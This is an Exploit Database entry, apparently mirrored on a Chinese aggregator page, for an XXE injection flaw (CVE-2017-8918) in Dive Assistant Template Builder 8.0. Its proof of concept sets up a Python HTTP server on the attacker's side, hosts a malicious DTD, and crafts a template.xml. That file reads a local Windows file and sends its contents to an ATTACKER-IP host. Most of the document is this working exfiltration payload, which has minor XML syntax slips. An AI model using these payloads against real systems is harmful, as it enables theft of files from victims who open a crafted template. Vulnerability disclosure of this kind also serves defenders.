Dive Assistant Template Builder 8.0 – XML External Entity Injection

• Exploit Database
• 113 阅读

• 作者： Trent Gordon
  日期： 2017-05-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42000/
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  [+] Exploit Title: Dive Assistant - Template Builder XXE Injection [+] Date: 12-05-2017 [+] Exploit Author: Trent Gordon [+] Vendor Homepage: http://www.blackwave.com/ [+] Software Link: http://www.diveassistant.com/Products/DiveAssistantDesktop/index.aspx [+] Version: 8.0 [+] Tested on: Windows 7 SP1, Windows 10 [+] CVE: CVE-2017-8918   1. Vulnerability Description   Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates.The templates are saved and uploaded as XML files which are vulnerable to XXE injection.Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.   2. Proof of Concept   a.) python -m SimpleHTTPServer 9999 (listening on attacker&apos;s IP and hosting payload.dtd)   b.) Hosted "payload.dtd"   <?xml version="1.0" encoding="UTF-8"?>   <!ENTITY % all "<!ENTITY send SYSTEM &apos;http://ATTACKER-IP:9999?%file;&apos;>">   %all;     c.) Exploited "template.xml"   <?xml version="1.0"? <!DOCTYPE exploit [ <!ENTITY % file SYSTEM "C:\Windows\System.ini"> <!ENTITY % dtd SYSTEM "http://ATTACKER-IP:9999?%file;&apos;>"> %dtd;]>   <exploit>&send;</exploit>